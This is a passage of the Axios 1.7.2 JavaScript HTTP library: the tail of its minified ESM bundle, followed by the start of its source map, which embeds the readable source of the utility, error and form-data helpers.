specified"),"ERR_NOT_SUPPORT")}return r};function We(e){if(e.cancelToken&&e.cancelToken.throwIfRequested(),e.signal&&e.signal.aborted)throw new ge(null,e)}function Ve(e){We(e),e.headers=me.from(e.headers),e.data=ye.call(e,e.transformRequest),-1!==["post","put","patch"].indexOf(e.method)&&e.headers.setContentType("application/x-www-form-urlencoded",!1);return Je(e.adapter||ce.adapter)(e).then((function(t){return We(e),t.data=ye.call(e,e.transformResponse,t),t.headers=me.from(t.headers),t}),(function(t){return be(t)||(We(e),t&&t.response&&(t.response.data=ye.call(e,e.transformResponse,t.response),t.response.headers=me.from(t.response.headers))),Promise.reject(t)}))}const Ke={};["object","boolean","number","function","string","symbol"].forEach(((e,t)=>{Ke[e]=function(n){return typeof n===e||"a"+(t<1?"n ":" ")+e}}));const $e={};Ke.transitional=function(e,t,n){function r(e,t){return"[Axios v1.7.2] Transitional option '"+e+"'"+t+(n?". "+n:"")}return(n,o,s)=>{if(!1===e)throw new k(r(o," has been removed"+(t?" in "+t:"")),k.ERR_DEPRECATED);return t&&!$e[o]&&($e[o]=!0,console.warn(r(o," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(n,o,s)}};const Ge={assertOptions:function(e,t,n){if("object"!=typeof e)throw new k("options must be an object",k.ERR_BAD_OPTION_VALUE);const r=Object.keys(e);let o=r.length;for(;o-- >0;){const s=r[o],i=t[s];if(i){const t=e[s],n=void 0===t||i(t,s,e);if(!0!==n)throw new k("option "+s+" must be "+n,k.ERR_BAD_OPTION_VALUE)}else if(!0!==n)throw new k("Unknown option "+s,k.ERR_BAD_OPTION)}},validators:Ke},Xe=Ge.validators;class Qe{constructor(e){this.defaults=e,this.interceptors={request:new Q,response:new Q}}async request(e,t){try{return await this._request(e,t)}catch(e){if(e instanceof Error){let t;Error.captureStackTrace?Error.captureStackTrace(t={}):t=new Error;const n=t.stack?t.stack.replace(/^.+\n/,""):"";try{e.stack?n&&!String(e.stack).endsWith(n.replace(/^.+\n.+\n/,""))&&(e.stack+="\n"+n):e.stack=n}catch(e){}}throw e}}_request(e,t){"string"==typeof e?(t=t||{}).url=e:t=e||{},t=Ae(this.defaults,t);const{transitional:n,paramsSerializer:r,headers:o}=t;void 0!==n&&Ge.assertOptions(n,{silentJSONParsing:Xe.transitional(Xe.boolean),forcedJSONParsing:Xe.transitional(Xe.boolean),clarifyTimeoutError:Xe.transitional(Xe.boolean)},!1),null!=r&&(D.isFunction(r)?t.paramsSerializer={serialize:r}:Ge.assertOptions(r,{encode:Xe.function,serialize:Xe.function},!0)),t.method=(t.method||this.defaults.method||"get").toLowerCase();let s=o&&D.merge(o.common,o[t.method]);o&&D.forEach(["delete","get","head","post","put","patch","common"],(e=>{delete o[e]})),t.headers=me.concat(s,o);const i=[];let a=!0;this.interceptors.request.forEach((function(e){"function"==typeof e.runWhen&&!1===e.runWhen(t)||(a=a&&e.synchronous,i.unshift(e.fulfilled,e.rejected))}));const c=[];let u;this.interceptors.response.forEach((function(e){c.push(e.fulfilled,e.rejected)}));let l,f=0;if(!a){const e=[Ve.bind(this),void 0];for(e.unshift.apply(e,i),e.push.apply(e,c),l=e.length,u=Promise.resolve(t);f<l;)u=u.then(e[f++],e[f++]);return u}l=i.length;let d=t;for(f=0;f<l;){const e=i[f++],t=i[f++];try{d=e(d)}catch(e){t.call(this,e);break}}try{u=Ve.call(this,d)}catch(e){return Promise.reject(e)}for(f=0,l=c.length;f<l;)u=u.then(c[f++],c[f++]);return u}getUri(e){return X(Se((e=Ae(this.defaults,e)).baseURL,e.url),e.params,e.paramsSerializer)}}D.forEach(["delete","get","head","options"],(function(e){Qe.prototype[e]=function(t,n){return this.request(Ae(n||{},{method:e,url:t,data:(n||{}).data}))}})),D.forEach(["post","put","patch"],(function(e){function t(t){return function(n,r,o){return this.request(Ae(o||{},{method:e,headers:t?{"Content-Type":"multipart/form-data"}:{},url:n,data:r}))}}Qe.prototype[e]=t(),Qe.prototype[e+"Form"]=t(!0)}));const Ze=Qe;class Ye{constructor(e){if("function"!=typeof e)throw new TypeError("executor must be a function.");let t;this.promise=new Promise((function(e){t=e}));const n=this;this.promise.then((e=>{if(!n._listeners)return;let t=n._listeners.length;for(;t-- >0;)n._listeners[t](e);n._listeners=null})),this.promise.then=e=>{let t;const r=new Promise((e=>{n.subscribe(e),t=e})).then(e);return r.cancel=function(){n.unsubscribe(t)},r},e((function(e,r,o){n.reason||(n.reason=new ge(e,r,o),t(n.reason))}))}throwIfRequested(){if(this.reason)throw this.reason}subscribe(e){this.reason?e(this.reason):this._listeners?this._listeners.push(e):this._listeners=[e]}unsubscribe(e){if(!this._listeners)return;const t=this._listeners.indexOf(e);-1!==t&&this._listeners.splice(t,1)}static source(){let e;return{token:new Ye((function(t){e=t})),cancel:e}}}const et=Ye;const tt={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(tt).forEach((([e,t])=>{tt[t]=e}));const nt=tt;const rt=function t(n){const r=new Ze(n),o=e(Ze.prototype.request,r);return D.extend(o,Ze.prototype,r,{allOwnKeys:!0}),D.extend(o,r,null,{allOwnKeys:!0}),o.create=function(e){return t(Ae(n,e))},o}(ce);rt.Axios=Ze,rt.CanceledError=ge,rt.CancelToken=et,rt.isCancel=be,rt.VERSION="1.7.2",rt.toFormData=W,rt.AxiosError=k,rt.Cancel=rt.CanceledError,rt.all=function(e){return Promise.all(e)},rt.spread=function(e){return function(t){return e.apply(null,t)}},rt.isAxiosError=function(e){return D.isObject(e)&&!0===e.isAxiosError},rt.mergeConfig=Ae,rt.AxiosHeaders=me,rt.formToJSON=e=>ie(D.isHTMLForm(e)?new FormData(e):e),rt.getAdapter=Je,rt.HttpStatusCode=nt,rt.default=rt;const ot=rt,{Axios:st,AxiosError:it,CanceledError:at,isCancel:ct,CancelToken:ut,VERSION:lt,all:ft,Cancel:dt,isAxiosError:ht,spread:pt,toFormData:mt,AxiosHeaders:yt,HttpStatusCode:bt,formToJSON:gt,getAdapter:wt,mergeConfig:Et}=ot;export{st as Axios,it as AxiosError,yt as AxiosHeaders,dt as Cancel,ut as CancelToken,at as CanceledError,bt as HttpStatusCode,lt as VERSION,ft as all,ot as default,gt as formToJSON,wt as getAdapter,ht as isAxiosError,ct as isCancel,Et as mergeConfig,pt as spread,mt as toFormData}; //# sourceMappingURL=axios.min.js.map esm/axios.min.js.map000064400000465765151677271550010416 0ustar00{"version":3,"file":"axios.min.js","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/browser/index.js","../../lib/platform/browser/classes/URLSearchParams.js","../../lib/platform/browser/classes/FormData.js","../../lib/platform/browser/classes/Blob.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/speedometer.js","../../lib/helpers/throttle.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/core/buildFullPath.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/helpers/null.js","../../lib/core/dispatchRequest.js","../../lib/env/data.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../index.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[Symbol.iterator];\n\n const iterator = generator.call(obj);\n\n let result;\n\n while ((result = iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n DIGIT,\n ALPHA,\n ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n let str = '';\n const {length} = alphabet;\n while (size--) {\n str += alphabet[Math.random() * length|0]\n }\n\n return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n ALPHABET,\n generateString,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.response && this.response.status ? this.response.status : null\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype);\n\n utils.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (PlatformFormData || FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // 